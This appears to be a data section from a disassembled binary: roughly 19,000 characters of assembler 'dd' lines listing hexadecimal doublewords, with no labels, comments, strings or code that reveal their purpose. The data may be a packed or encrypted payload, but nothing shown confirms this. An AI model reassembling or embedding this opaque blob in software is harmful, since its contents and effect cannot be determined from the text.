		dd 0D83581Eh, 4A96DDE0h, 70034A7h, 97DA7290h, 62CDF02Ah
		dd 13E88385h, 0D92BF0A0h, 3A01B67Fh, 1AFED5FFh,	242D8B96h
		dd 41284448h, 280D2510h, 1624C085h, 1A8C00C8h, 0A82375DCh
		dd 0E831AC9h, 0A1A8DBB8h, 0F8D0D624h, 0F1F5320Dh, 0C079DA38h
		dd 2D79514h, 2B80DDFAh,	800C89B9h, 0A0FCF4C8h, 581FCBEh
		dd 0F089034h, 0AB63C057h, 14012C20h, 0EF216F48h, 18804210h
		dd 0A84D0553h, 0E255D17h, 0C69024BCh, 7A13F8C1h, 6A10F468h
		dd 5304C78h, 7EF1EE1Ch,	0C2ADFCC3h, 2A088074h, 2EC4BEh
		dd 83DCC6FBh, 33364BB1h, 0A8761028h, 11482549h,	6F177477h
		dd 0EC408924h, 68C395C7h, 0D90E6AE7h, 90829BC9h, 0DEAAF22Ah
		dd 6D208850h, 0A5C50E5Dh, 364094DDh, 0BFB095CAh, 0A64CBAFCh
		dd 40CE9D30h, 8B1F00DBh, 0B62B8Ah, 0E475C7B5h, 13772415h
		dd 0C30CBF02h, 0E9B3FBCFh, 0D040AD4Ch, 3602150Dh, 0C0A12789h
		dd 3F1022F1h, 991DBB2Eh, 8E6A870Dh, 90B69054h, 7BA83C54h
		dd 0EF041E06h, 0FD580B9h, 4680DFA2h, 1D09BCB2h,	6CF8C1E3h
		dd 0D32E1F40h, 2E7976Fh, 0EC895E13h, 3440C8CAh,	0D84C248Eh
		dd 724500FDh, 0C8DB2E12h, 0FE98B0EFh, 0E1262FAFh, 81DC6422h
		dd 67D03043h, 4403EF48h, 5975AD66h, 5130BF82h, 78026220h
		dd 846E5C7h, 284D011Ch,	8A525841h, 5C2FCE2h, 56020162h
		dd 2A0680BEh, 1B345EEAh, 632250Dh, 1F300D7Bh, 53C42588h
		dd 31BB7AB3h, 8212264Eh, 4F6FD4CBh, 0F30E7A76h,	0C07E7068h
		dd 158CD88Ah, 0EA580C25h, 0C32F6A42h, 773EC803h, 0E9D48ADFh
		dd 1A8E5432h, 56A15157h, 0C56A0B69h, 1948F85Fh,	52EF37C0h
		dd 7634FC29h, 8E0D002h,	6C2F0C60h, 5E3F2A8Fh, 0B103BD84h
		dd 0F719B835h, 0C5B087C3h, 28585405h, 78ED82h, 0BC251D8Ah
		dd 46B565A6h, 0EA18E0F0h, 291E4953h, 305C78F9h,	5A10A3C5h
		dd 56F0C42Ah, 254FD61h,	688A8CF3h, 62AC582h, 0B53E4DEAh
		dd 0DD9EF300h, 0D18AEB7Fh, 2649005Bh, 31082AAAh, 6FF755EAh
		dd 377896B2h, 60101103h, 89D935C2h, 2D59C40Fh, 52C37D8Fh
		dd 7E33EAh, 9FB55122h, 0FFDBCD81h, 0ED3AC575h, 0F74CF86Eh
		dd 6C037919h, 58CE289h,	53610025h, 0CF2D67B7h, 5400F129h
		dd 0CC81DBB4h, 48E4D187h, 0EC382EF7h, 0F249EA0Dh, 3F8F17E0h
		dd 9BF57E0h, 180C145Bh,	0D05BB53h, 4D77B2Ah, 695FF402h
		dd 8A08924Fh, 1334FA8Ch, 0E273E14h, 3FE607DFh, 0F7633639h
		dd 7695E32Eh, 7DC70818h, 6A315D4Fh, 0E7F07183h,	0DC7C182Dh
		dd 31DD1851h, 8A684100h, 0BC545FF3h, 0F84603FBh, 0E971EA0Eh
		dd 1857AE30h, 0ED5F3731h, 182D4F8h, 0FA5C3BCCh,	0E0E4D24Ch
		dd 8002DAECh, 41EACA81h, 88BF9A05h, 5362E14Bh, 0D320586h
		dd 0ED063481h, 0C1C54720h, 0E206E7C1h, 7A42EDC3h, 0FC34331Eh
		dd 0D066032h, 0EAC30A5Dh, 8F48302Ah, 1CCA44FBh,	0BF90A4CDh
		dd 4A689C92h, 2026C71Ah, 8806819Bh, 0C68C3420h,	342D8A3Ch
		dd 1B06AF20h, 5D2FF369h, 0E7482673h, 0E87E19B9h, 6CBC90A0h
		dd 2663EC18h, 171D9136h, 0F1405E09h, 32D1223Ah,	0FEA18C7h
		dd 25C224Ch, 0C337CE78h, 78001041h, 33679E1Dh, 9D4E1159h
		dd 83E07CF9h, 0E38A5360h, 4909C957h, 0DE75319Ah, 871440B3h
		dd 1020295Dh, 0D652DC4Fh, 0F85CA71Ah, 8D3DD1B9h, 1684E8D2h
		dd 0BA4861E2h, 1C094220h, 81B95135h, 0A6E7A59h,	0F28530C2h
		dd 825DFF3Ch, 8CD0027Eh, 8D1450Dh, 5E005B32h, 49F7BA52h
		dd 0E94150E8h, 7218D47Ch, 96F65D01h, 0F5D20245h, 0C7DF5621h
		dd 20C9A93h, 0E35EEC6Dh, 33117A21h, 0C0737F0h, 42A459E0h
		dd 0BEA510Dh, 0CA220C12h, 0A8488DFh, 2689591Dh,	2D2E2480h
		dd 0E0EC0289h, 0DFB6AC6Eh, 0DE3E0A67h, 0CCBB01ABh, 0E89016C1h
		dd 49997385h, 0F10FFB00h, 61D4025Ah, 14EA065Bh,	0C9CD9436h
		dd 399420C4h, 0CB13DA89h, 1C83045Ah, 0E3810364h, 2EB9997h
		dd 0F2A6F3D8h, 0EA1409C4h, 0A9239044h, 28C103C7h, 0DE2A0108h
		dd 0C09E0EFCh, 825AC90Fh, 4618A6C4h, 0B30C7629h, 11DB0460h
		dd 9138B4EAh, 332D136Bh, 37347D28h, 8583DADBh, 0AA6DCEDAh
		dd 0B8D1800Bh, 1DC8FF3Ch, 281E0F7h, 0FE1BEAB6h,	8D040F6Ah
		dd 0C2811FDDh, 67C92911h, 39580F25h, 7AF924EAh,	9254673Eh
		dd 0A0A33263h, 292903C2h, 5A0EBD52h, 80CD7490h,	0C9BF1067h
		dd 3E623669h, 0E1E61E49h, 0C0646D91h, 24F9248Ch, 6AF92E60h
		dd 1DEA8B98h, 0E262902Ah, 32059BC8h, 2AAFDA0Bh,	3004D4Ah
		dd 8A57280Bh, 585E00E9h, 756582C0h, 0E076F806h,	7449C800h
		dd 0F0C24203h, 0EBBAA109h, 5D2AC523h, 56918B9h,	625A6F6Fh
		dd 1E193680h, 8C4FF45Dh, 0DACB52DEh, 0B5ABE3EEh, 0C489B2D1h
		dd 0C1145AD0h, 28C605E8h, 41EBB4Ah, 0EA1DFA01h,	38055C56h
		dd 0E80667A4h, 0AC3EF3CEh, 69BEC2ACh, 9899378Ch, 11D8B4EAh
		dd 3120DD19h, 5A24E663h, 8252C209h, 352A9A40h, 5C093412h
		dd 3F073610h, 0E8B2D154h, 612C260Fh, 3E3E2159h,	0EA4E0577h
		dd 0BC283FCBh, 51531867h, 358E5EB1h, 695B4CC1h,	43513F2Eh
		dd 8E57B5EAh, 9FC2FEFh,	2EF6233Ch, 29E1917Bh, 9A9769E8h
		dd 2C8448B7h, 4B542953h, 2BEB154h, 55BC7FE2h, 0CC240FC1h
		dd 3098AC45h, 0C1A1116Eh, 617A6327h, 4EC4DF73h,	0E4001214h
		dd 0E9575239h, 0B9805027h, 8BE50388h, 0C4832404h, 0C8C5B0A7h
		dd 0EDEAD528h, 0E8E05AEAh, 0ED665928h, 0B0506E00h, 58C2080Ah
		dd 4DF20780h, 8EFEDAF6h, 2CA0EAE1h, 43D0C168h, 627004EFh
		dd 241C890Fh, 0D5CBEB3h, 812CD80Eh, 148B665Bh, 59FCE0F6h
		dd 19C15181h, 91020C90h, 0DEE90C25h, 76C71762h,	12D51FD9h
		dd 24AF1D5Bh, 0E6898F81h, 871AC6EAh, 11FFF18Ch,	0C524D25Ch
		dd 2328E89Ch, 0FB011EC3h, 5BDE995Fh, 1B03FC31h,	56120729h
		dd 0B12474FFh, 9B26D7E9h, 0C1448B1Ah, 10A63829h, 0DFEF1E26h
		dd 5452042Ch, 4576845Ah, 4D82203Fh, 0ECCE834Dh,	94DEF094h
		dd 0F7D768B7h, 76DDAAA3h, 0E26935A9h, 0D500010Ch, 0EC395256h
		dd 85CA6D75h, 6841D91Ch, 0B4547CAFh, 0CCB4E400h, 0A058E228h
		dd 0E45A66C4h, 550D0668h
		dd 56DCACE9h, 5EF70107h, 7230CF81h, 26C160D2h, 32008EFh
		dd 1B1133A9h, 2E9FEEF8h, 0E91C0106h, 98644347h,	335200B9h
		dd 0F181320Eh, 1D3B3E4Eh, 0D0C90065h, 0E9355D55h, 0FD4DE9C6h
		dd 102ADA98h, 3B0F63B9h, 6AC1782Bh, 4602B905h, 0C02C7B61h
		dd 2C22542Dh, 303C21h, 4EDF5E76h, 0CBFCD3F7h, 0F155BE0Bh
		dd 283B0046h, 5690531h,	0D5E9D909h, 89B15D8Eh, 102088E3h
		dd 0B069B7C3h, 0F4F3EFA1h, 1AC99350h, 68782166h, 0A7A04120h
		dd 18E5E6DEh, 4164ADE9h, 144C7CCDh, 0C50776EAh,	39212F4Ah
		dd 1ED4E5C0h, 0F518C09Dh, 3AF22B7Ah, 0E9E88905h, 0FC4033C4h
		dd 2434FFF8h, 0A490B05Bh, 89571207h, 95E10E7h, 0C3EF831Fh
		dd 5C243C87h, 9A1414FBh, 0C1E97223h, 0C28881B0h, 0FDE9B984h
		dd 0E01E91EBh, 9447EA05h, 4BDD08h, 3026EE80h, 0F60E5AF3h
		dd 23B551DBh, 55E785E9h, 33442244h, 0D2091E12h,	0B974845Fh
		dd 460C289h, 7E0C628Bh,	9E285h,	4B8C3E1h, 26167C91h, 8129716Bh
		dd 0C1805BF9h, 760680F5h, 0B6525066h, 53E924B2h, 2072A887h
		dd 3366FD1Ah, 0DF06315Ah, 0CDEE0Dh, 3BCB15F8h, 946851E9h
		dd 84A2AA36h, 7ABBF780h, 65D85F81h, 590CCA48h, 53E14C13h
		dd 11B3E910h, 3CA8583Eh, 0CF873F0Dh, 375DC012h,	0D36D8405h
		dd 4D56548Fh, 8A0690EFh, 5C1ADE87h, 0D1A8859h, 0A524CC34h
		dd 3B7F6BC3h, 31125D0Ah, 903544Dh, 43375726h, 0BE248F5Fh
		dd 0A13945Ch, 30F1B55h,	0AD685A53h, 0A0B36336h,	82C8152h
		dd 7E12DA28h, 7F6EE0Ah,	8215E913h, 0D4CE0F07h, 0E8A72551h
		dd 4F59BE00h, 1885F781h, 0C37241Ah, 7F06055Ah, 74D2E91Bh
		dd 42C70038h, 0DA63F630h, 0B8775022h, 0D001D1C0h, 54A1E952h
		dd 813C8306h, 20693166h, 0EDACE3Dh, 0E0589BDh, 7ED56CBFh
		dd 68553E53h, 4847208Bh, 51CA00F5h, 15E4EA04h, 0B31F17E9h
		dd 0EE1F102h, 3442036Ch, 0AED1A027h, 49738FE5h,	8BAFDA84h
		dd 34318645h, 9491FABh,	16C94A4Bh, 42C3275Fh, 6D95615h
		dd 0E2D1C209h, 5A8D20E4h, 2BF2A590h, 0F4DD80A9h, 0C992FCFAh
		dd 0B0362290h, 509533h,	0A32116BFh, 51EF810Eh, 54121714h
		dd 6AE004B4h, 0C4C06CE8h, 61F10C5Ch, 6F79183Bh,	0CDD331F9h
		dd 408C665Fh, 6ACFFEA9h, 0D7F7A35Eh, 5BC3C487h,	291612EAh
		dd 627C50C3h, 6E3C181h,	0DB09A84Bh, 0F149DE09h,	624D0017h
		dd 10F55868h, 246AA5E9h, 0ED6070B8h, 1E95345Ch,	39C5017Fh
		dd 341C0851h, 63EAFF83h, 0BA8F40C2h, 0F5D4545Bh, 79ED1668h
		dd 0EA5F25E7h, 0A9307C13h, 0F6C8AF0Fh, 5D764C22h, 2010EC94h
		dd 34680A0Ah, 12A4AC3Ch, 6B67B902h, 90E889D1h, 0D652EFABh
		dd 0BADA00B9h, 0EA019322h, 25A5D48h, 1EFB77D0h,	9B74C057h
		dd 0BEB05960h, 0F8295E05h, 0A088005Fh, 8155922Bh, 0D725EA0Eh
		dd 0D031C036h, 0BB1ECEE9h, 7C6D0C01h, 1F90E8F9h, 73E233E5h
		dd 7CA1E24Ch, 17CA0188h, 5180E959h, 28879C23h, 845267D8h
		dd 62CE834Bh, 0FBAA59CEh, 4D1A970Bh, 7D10238Bh,	0E914DF01h
		dd 7DB2FB76h, 597482C1h, 9EF03093h, 0C633C567h,	0EE1F0001h
		dd 76183B52h, 4D47A0C1h, 9AF333C9h, 204A6193h, 0B11996C8h
		dd 0C4B62096h, 30D5396h, 998CEB80h, 69CB4C3h, 0E90D3B95h
		dd 86F23Fh, 0C95E1CAEh,	4E6E7E60h, 24442B53h, 94C0D6E9h
		dd 0F717C931h, 652C09D2h, 76AED9Bh, 0E9E12D74h,	3247960h
		dd 7D014CEBh, 3B9926D2h, 9C69D2A1h, 1944E3E9h, 79811E73h
		dd 0EDC868FEh, 0DA99A029h, 6C682EEh, 0A26CD52Eh, 9DE95461h
		dd 5C5A8253h, 95940CD2h, 1F1C4810h, 47CA052Dh, 8F1EEE0Ah
		dd 35379820h, 518740h, 6510BA07h, 3129129Eh, 94085854h
		dd 77033C32h, 58669D1Ch, 86481193h, 0D2BB1095h,	0F7018E48h
		dd 77DE1BC1h, 50F83457h, 13A2302h, 530E95E9h, 32F8B50Dh
		dd 686EB1Bh, 31492433h,	711F10C3h, 188B213h, 3057B0D0h
		dd 418AA9C2h, 0B17DC820h, 7E1C01Ch, 0EEECE9DEh,	6C245E1Ch
		dd 9C49EF28h, 0FF337E8Fh, 485C0B75h, 0A492EBFh,	14811950h
		dd 82C0B60Fh, 5819873Fh, 9F4427F2h, 3B0BB31h, 75BDA01h
		dd 2C2FBD55h, 0CC0329B9h, 278763A7h, 0C2086B29h, 15D0108h
		dd 74875AD1h, 0F91FF723h, 68055455h, 0C93460AFh, 17C2EA00h
		dd 2463523h, 19CDBB53h,	93622EC9h, 6BEB9E00h, 0C4125D77h
		dd 0F708DE29h, 0DE5C154Ah, 0C825583Dh, 0E3D12A02h, 7AC111C0h
		dd 0C4330181h, 24B9878Ah, 0F168841Fh, 63E90249h, 0A8274846h
		dd 17AD0930h, 0CF01E801h, 80B14229h, 6DEFC18Eh,	60F77E5Ch
		dd 216310D9h, 838A453Ah, 0CD806F25h, 97D7482h, 2516BF82h
		dd 0D1912E14h, 0B53164FEh, 21118B5Fh, 9C91A9F8h, 1154A384h
		dd 100745BEh, 831F4339h, 269AF4C1h, 5F0496DEh, 1820C70h
		dd 9848EEC1h, 0E2A39005h, 377C2702h, 49F3F12Ah,	0B7CB07DEh
		dd 46A09296h, 28F08CA4h, 805C148Bh, 804C22C0h, 5D73EF89h
		dd 4EAFA4Dh, 27A11745h,	0F2813AC0h, 4F570216h, 507AE922h
		dd 534E756Ch, 0D60A5D64h, 283DE583h, 0BA01CA5Bh, 0F77F9939h
		dd 8821C1D1h, 0DD84F482h, 1C40CC9Ch, 0D095E3Ah,	8CB0120h
		dd 633108C2h, 61833EE9h, 0C725DAB9h, 5CB04CFEh,	0C0707F58h
		dd 175A6850h, 2C327E70h, 93AAD36Ch, 0F4F0451h, 0F3BA003Fh
		dd 3D056765h, 5E09E281h, 0D7840CB2h, 830985h, 0C1D0F7B4h
		dd 750348E8h, 7FE2B001h, 31D8319Dh, 652BACCBh, 0A991B528h
		dd 728F5D0Eh, 56AA5831h, 55786B73h, 16549280h, 5EDFBC2h
		dd 50EE005Bh, 5ADCACFh,	0AC3E8913h, 2DD05305h, 0AB040712h
		dd 0C4D4F0E9h, 3EDAC01h, 31ED058Fh, 0A64CC22Ch,	0C05A5484h
		dd 0F61DCD01h, 2CC12833h, 6B3CC081h, 0C2A6038h,	0AB42DCBh
		dd 0E5C1450Bh, 25E8B08h, 0E2BEEFCBh, 5DDBA402h,	848C6B99h
		dd 216F1DD9h, 57CFF967h, 8C4903C5h, 0ECE70859h,	496B8401h
		dd 0E5255875h, 82730960h, 70CDC902h, 8881B500h,	685924E8h
		dd 84932528h, 0FAE9C7DBh, 550E345Bh, 13BBE5F8h,	1352CD92h
		dd 6809238Ah, 5364343Ah, 5C00D485h, 0E9C9CA80h,	8F39C78h
		dd 0EA01F289h, 48433B77h, 21120C81h, 214A09C9h,	0E9DAC887h
		dd 0F413DC4Ah, 56B2C064h, 0FAC4D4A6h, 87B4144Dh, 394F13C7h
		dd 6EDC1A3Ch, 0DE0C080Ch, 58141E71h, 245F525Bh,	84C9335Ah
		dd 1ED2D01Eh, 0A89C66EFh, 0BB021A31h, 0BEAC308Ch, 5C137837h
		dd 0FCC0D11Fh, 5470F94h, 8BF329C1h, 0D0A62434h,	229AE97Bh
		dd 855E46CBh, 9B8A7E5Ah, 579D611Fh, 0E20821F4h,	0CB9B2057h
		dd 2EFA011Fh, 19402392h, 0E468C831h, 0B02CB119h, 8EA8E930h
		dd 543EDAA8h, 1AA50191h, 153282E4h, 64AC076Bh, 0BA77D34Ah
		dd 0E5F5F770h, 0CF0C244Fh, 2959CEA9h, 28CF90B9h, 316D9033h
		dd 71600D06h, 0E86880F6h, 4B7A2C1Eh, 0B8824193h, 90E2925Bh
		dd 5DD3661Dh, 8210390Ch, 0DF5F2ECEh, 4705E03h, 2E38E155h
		dd 8DFDCB98h, 2180835Fh, 5D13C8E8h, 0FC00B80h, 0B93F2F84h
		dd 0E925B06Fh, 0EBC23AE4h, 40E871B5h, 7E03EAD9h, 0D9D7E451h
		dd 0E007127Eh, 77C90988h, 0C62D80DEh, 7E7821A6h, 0E307341Ch
		dd 602F252Ch, 66B7689Fh, 0E3E6BFA6h, 5085558h, 23374975h
		dd 322703C0h, 0A0EB0AFh, 9224E9D6h, 2218BDDh, 14810219h
		dd 698CD21h, 3ED95C29h,	492C29F3h, 6E952EF6h, 5948E1A0h
		dd 42DA8965h, 22DF71D9h, 4A681205h, 68468979h, 4C5A8441h
		dd 17DF0215h
		dd 1204989h, 0B60CF80Bh, 0F33B81BBh, 185D16B1h,	0B3EBA380h
		dd 0EC7748C9h, 14DEF12h, 0DF01153Fh, 9A386055h,	1D317800h
		dd 17590558h, 2D6C1E2Ah, 51BDBB73h, 3EBCA0Fh, 0E9C58961h
		dd 453268F7h, 67C631B7h, 0FA71501Ah, 31EAD964h,	626CADF0h
		dd 50E7DD3Eh, 10F3571h,	206EE5C7h, 6BD78D90h, 31691FA1h
		dd 4A2709CEh, 343C9349h, 544D579Fh, 31552DD7h, 479D527Eh
		dd 792C8B45h, 31482612h, 4882DC21h, 0C0B5F8Dh, 0CA2935E5h
		dd 6681413Ah, 0FB93BE57h, 152E4CCCh, 365B0D13h,	0DC93EA17h
		dd 8721ED64h, 960C382Ch, 57D0C14Ch, 0D55A0BBDh,	510F2E01h
		dd 87600B89h, 17EEC331h, 0DE41584Ah, 1CBB3085h,	5C093E62h
		dd 0CC06C80Fh, 0FE076B14h, 5AB753C1h, 4CDA13A3h, 82059B60h
		dd 0C719B22Dh, 1504D2F4h, 838F4073h, 0E95998EBh, 3CF4678Ch
		dd 0A1596558h, 1564D21Ch, 0B5B65203h, 151CEFEh,	0D7F6AC6Eh
		dd 0D54EEF80h, 5CE7D4DFh, 14C7FE34h, 0F5F4EA06h, 5B592C50h
		dd 0ACBBCF76h, 0D0880A1Dh, 58C32841h, 87CBEB80h, 0E904B96Eh
		dd 0A39158F2h, 0D0218417h, 6B72C281h, 685A5804h, 0F78D35A0h
		dd 4153CA48h, 5DA738CEh, 5277C1Dh, 0D892054h, 0C85B5A45h
		dd 0F053420h, 8294C8B6h, 74A1FF80h, 43192488h, 35A72AA5h
		dd 817A6F3h, 57095BA1h,	964FC446h, 5651421Ch, 8706DA58h
		dd 591A7610h, 62ED00D2h, 0D12D4398h, 4E007B5Dh,	0D07E0C1h
		dd 1FCA7D03h, 0C0D8F741h, 15BEF076h, 2D96C131h,	0B8C88950h
		dd 0E396B47h, 83270C6Ch, 0E94F90C0h, 9A2C55DBh,	0BA320070h
		dd 0C6013DDCh, 6A268F4Ch, 12E12BDh, 89224190h, 577DE149h
		dd 7EC1B0A4h, 1460FB30h, 0FAA87CC2h, 38297C58h,	0B8C843E9h
		dd 0BD247C94h, 64610AB5h, 7F300FEh, 0C8297B47h,	3E4F5948h
		dd 427897F7h, 74F9E101h, 0F0704DC1h, 0CBE3B804h, 9A0AE88h
		dd 0C586EC30h, 0FB68660Eh, 0AB209711h, 0E8D3F6C3h, 0E563FDD8h
		dd 0C530020Eh, 0F408E84Dh, 0EB728853h, 0DC78E574h, 517A43B8h
		dd 0CA09E17Ch, 8F648A59h, 0D185F3B4h, 0B0FCA40Fh, 56D03113h
		dd 60961D70h, 4DCE8102h, 7866320Eh, 0E62170B1h,	71E9EC29h
		dd 66C192E1h, 0D65D38F7h, 50D054Ch, 0D1A687D5h,	6BE94DA0h
		dd 88B67C9h, 612FA32h, 64E04F41h, 0CE14931Bh, 5BDAC21Ch
		dd 95A37434h, 2ED62910h, 9449AF34h, 0B5B28h, 19ABA26h
		dd 8FF46E27h, 0CCEA6F4Ch, 0DD313233h, 69D4AE06h, 59399CCAh
		dd 90DE4483h, 41B5E97Ah, 6F048DD2h, 61163994h, 3C5053F9h
		dd 0A1B5C033h, 28F6C5FEh, 1C99C0D5h, 0E87DCD80h, 0EC8803E2h
		dd 5CB25259h, 0FCF3C2E1h, 46B030C4h, 40FE6041h,	7A8743CEh
		dd 32D77DFBh, 0F09D0BDFh, 561C1360h, 508BD8B9h,	7FD983B4h
		dd 0ECC11682h, 22003102h, 0FF18A108h, 9CCDFA17h, 1D9E1E20h
		dd 81223218h, 0B77A5FF6h, 0C3082014h, 77C80219h, 0BFD81818h
		dd 0F3012CF2h, 45DE0DD1h, 4C1A3656h, 58B41631h,	0A230C1D9h
		dd 0C186B48h, 76D9F433h, 2C202B72h, 0B92AF168h,	302A41Bh
		dd 765FE953h, 6EE11725h, 975199B1h, 3D7C9D0Ch, 4BEC88C5h
		dd 84F17392h, 0DEFE9E1h, 6685946Ch, 5467A429h, 0EC81C940h
		dd 1D2B0DE0h, 0FD815E0Eh, 59C93484h, 598042Ch, 0FECB971Eh
		dd 0F659147Ch, 0C0E3AA56h, 0F013ADE1h, 5E517C67h, 1120244h
		dd 0C0E159CBh, 0C410A90Fh, 98EAD3Ch, 988FE632h,	0B156575h
		dd 0EB520302h, 44823445h, 40E50170h, 0D9215808h, 70795B4Ch
		dd 0A1A77794h, 36E468A5h, 0C9EE538h, 0E25F6AD2h, 86FD4852h
		dd 71C85558h, 0A0C49050h, 4C7AA9E3h, 0E350F875h, 7ED725E9h
		dd 0ECC65F66h, 7AAE423h, 0F580EDD0h, 15AF3EECh,	2E1690A6h
		dd 8B30AC26h, 0C8B521Eh, 5852EBF6h, 0E8003062h,	0DFE28111h
		dd 3E7A8431h, 329C51F6h, 5594BD40h, 0D00F4CF0h,	631F6800h
		dd 66A1E927h, 40822DBCh, 28B61Ch, 5B564B16h, 9BF18925h
		dd 0FB1C01BEh, 2926DD46h, 838A0CEh, 5401594Eh, 32FFFA01h
		dd 9705B528h, 0A573A121h, 2DFF18B6h, 0E8820FA2h, 92085069h
		dd 0D898B322h, 8013A61Fh, 5BD82947h, 8E05D032h,	24B6A10Ah
		dd 5F915154h, 57C09E5Ah, 0C2778CBFh, 3B4CC135h,	204CFF7Ch
		dd 2189801h, 770C4059h,	1E0C2027h, 0EB45B0B6h, 0B7E30640h
		dd 0B835A464h, 2236EA17h, 0ABAE655Ch, 6ADDB788h, 0FA035324h
		dd 19490910h, 0B0C38312h, 5FC3C663h, 0C118E8C1h, 0C240506h
		dd 0B09B77B9h, 7E09F646h, 24C8253Fh, 0FE958F68h, 89820994h
		dd 607B9B50h, 0B7AAFDCh, 6CE942EDh, 0A162F2Ah, 0A2A523D9h
		dd 28DC13C7h, 18461DA7h, 0DA2126CDh, 0ED305B78h, 91C3ED49h
		dd 3DDD2935h, 256804DAh, 16E9077Dh, 0B35D0ACCh,	87A2417h
		dd 662543A5h, 69EAF600h, 326B68DFh, 0B99C29CBh,	83DCD102h
		dd 2718BE68h, 49A0BD6Fh, 0FE7CB4C7h, 0EFC13E0Fh, 0E4E72007h
		dd 1B4E2864h, 3358FBE9h, 7042C7EBh, 5402429h, 806B1703h
		dd 93EFE826h, 9D6AB02Eh, 0EE0DC860h, 5585566h, 200A066Ah
		dd 0E4F0C26h, 0E6D31C09h, 902D50E5h, 62A0EDC5h,	692269Bh
		dd 0EFD36D91h, 4E6D8BAh, 78479A97h, 0F812C0CEh,	4B698F44h
		dd 0C11674B0h, 0A02402EBh, 0E9B90C90h, 3CC33A5Dh, 9D34D32Ch
		dd 7D486766h, 0ADAAC692h, 41970340h, 919AB06h, 44325AD5h
		dd 0B6240F4Eh, 2A12ABCCh, 0C1139CF6h, 73AB9936h, 0B66809ECh
		dd 8080593Fh, 15361E23h, 0F731CF87h, 0E7C108D1h, 40DD6924h
		dd 0E8582803h, 3762291Eh, 38AA903Ch, 19C98101h,	6060D315h
		dd 5081D625h, 5E86FE2Dh, 0E1777D43h, 40BA68F0h,	0C0007F96h
		dd 5A4FDF44h, 632ECB8Fh, 0D5F70622h, 7058CDE0h,	7746C026h
		dd 68144A06h, 10AF24A2h, 5B87443Dh, 2B12F218h, 0D95BA925h
		dd 0E90D896Dh, 0B49123B8h, 0A277BA88h, 0F1D028BFh, 97FFBE5Fh
		dd 66ACAC80h, 1F74FA68h, 0B48005BCh, 61EC8028h,	3C05E6C0h
		dd 0F404DCF6h, 8BE1884Ch, 81C03D86h, 0A2C18008h, 153A83E9h
		dd 0E9A09D18h, 89805497h, 15805C5h, 0C82C8BE8h,	795BE9F0h
		dd 35CA3D13h, 21215C16h, 5C565EFh, 71684543h, 39611020h
		dd 0D1F60156h, 0F388CE86h, 66FA3720h, 355C32DEh, 45D243F2h
		dd 4AB51301h, 953223FBh, 59E65BCBh, 54135371h, 0B6C07EE9h
		dd 0B902B768h, 0F6A6BE57h, 0F104899Bh, 4B2C3407h, 9F29C12Bh
		dd 73FA404h, 8B75C29h, 1DD02F95h, 0B8F5215Ah, 18BA20DBh
		dd 0FE540097h, 0F848C345h, 5003FFCFh, 3B2E89B1h, 78349441h
		dd 7A206C25h, 0D683FD83h, 0FB2D29F1h, 5D070C86h, 51989A9Dh
		dd 461D0DCh, 0E9586609h, 0D8B4D6EEh, 79422E34h,	8C90DAC4h
		dd 0B09DCA81h, 23776CCh, 219EA6EAh, 9271E9CDh, 9005D716h
		dd 329846A4h, 0B8411387h, 4568002Bh, 29026C3Ah,	164170EDh
		dd 0B9E51D28h, 0FEBE61Fh, 0D6F750C3h, 0AA03C3C1h, 15DDC0DEh
		dd 16363B73h, 0E168F607h, 29F0995Ah, 56EE919h, 0B176E36Fh
		dd 9694614Ch, 49C05CA2h, 400926B2h, 0A1F7E97Bh,	250F6882h
		dd 2B543A9Ah, 0E4B6C3F2h, 8C7865Ah, 61FDA20Dh, 0D23D55h
		dd 0AC3A14BBh, 0DBF7451Fh, 31C46116h, 3351A705h, 0CB09F252h
		dd 4C20E646h, 0AD3FFF50h, 13774E13h, 47EC23E9h,	6BF7808Fh
		dd 6490E22Bh, 59814877h, 4598202Ch, 2690F5B0h, 0AB25494Bh
		dd 4E7E60B3h, 0BD4CC086h, 0AF26664Ch, 69033F36h, 0B0304233h
		dd 485F4AF5h, 932E4A31h, 0A6BF81E2h, 0E968BE6Dh, 83853411h
		dd 0BB87F48h, 2073840Fh
		dd 685752F7h, 0ECD5E6DDh, 4B6DC5Fh, 0A84C616Fh,	0D0E9098Fh
		dd 5CB9B312h, 1E5F49Fh,	0A7015F12h, 0CF052118h,	80F485A5h
		dd 0FF1975F0h, 51538016h, 14ECA808h, 2802A3ADh,	1615541h
		dd 0CAC286C2h, 1517FB00h, 0F6907E09h, 0E832B979h, 7C010C52h
		dd 0A8725269h, 32398501h, 0FFF53141h, 666E5E02h, 39856F4Eh
		dd 0DDA43524h, 8D584AFCh, 75A3E4F5h, 5C47489Ch,	8653FD95h
		dd 0C84F20F3h, 2BD45E02h, 7F804ACFh, 0F67D9605h, 0D62D076Dh
		dd 0F462E329h, 0BFF2D012h, 0D00A60CEh, 0BEDFF772h, 0E27C8602h
		dd 594D7079h, 754B2C4Dh, 488CA6A2h, 22425AC9h, 46668FE9h
		dd 0F7292925h, 0A0173F83h, 504CD25Ah, 8881FD70h, 955307CDh
		dd 440A5FC2h, 59794EE9h, 870575Eh, 31652C63h, 0E51008B1h
		dd 180602Ch, 5B5D05F0h,	905E7181h, 0DED0207Bh, 343CBB0Fh
		dd 6D90D2B4h, 980872EBh, 0FB290521h, 0B23733E9h, 22674E86h
		dd 485982F2h, 20132681h, 20024DCFh, 0E9364856h,	5001EA4Ch
		dd 64505A29h, 4B4FC470h, 45E65CF9h, 0DD4D6CF8h,	0A4F50296h
		dd 607A3602h, 261BFA7Bh, 0CF961F58h, 0DF11072h,	42CB3E65h
		dd 66E8888Fh, 0B60F81D6h, 0A29BAB7Eh, 40C90B32h, 991430B7h
		dd 20F51E43h, 7587BB0Eh, 0DF965E5Eh, 9AB06A40h,	7F61234h
		dd 28842CD0h, 8313F3C3h, 0E9D3301h, 0D831578Bh,	2DFAC7ACh
		dd 25E3A38Dh, 0A12E302Bh, 951B4528h, 634CF104h,	5BD464Ah
		dd 16657600h, 5E1C12Fh,	2B4122DCh, 5B51D56Bh, 0C2805479h
		dd 5A33326Ch, 0E9DA010Bh, 918050A6h, 0A0EB6BDEh, 11D34ADAh
		dd 7074E962h, 34590B84h, 5B800C63h, 0B15107E0h,	0C8302602h
		dd 0E6F80AE9h, 2A22904Ah, 5AE87C43h, 0CC141640h, 0A2AAB316h
		dd 52206958h, 2EDF4150h, 180D2E0Fh, 82C1212Dh, 0FC3C9C84h
		dd 0B70F80CAh, 679868C8h, 0C87D2B10h, 15570500h, 0F6564B08h
		dd 4FF4B2CCh, 21806D66h, 4EDC3C17h, 70F47F62h, 726818CBh
		dd 44C1154Eh, 0E3E8629Eh, 0A13C720Fh, 57F98765h, 5F3E513Ch
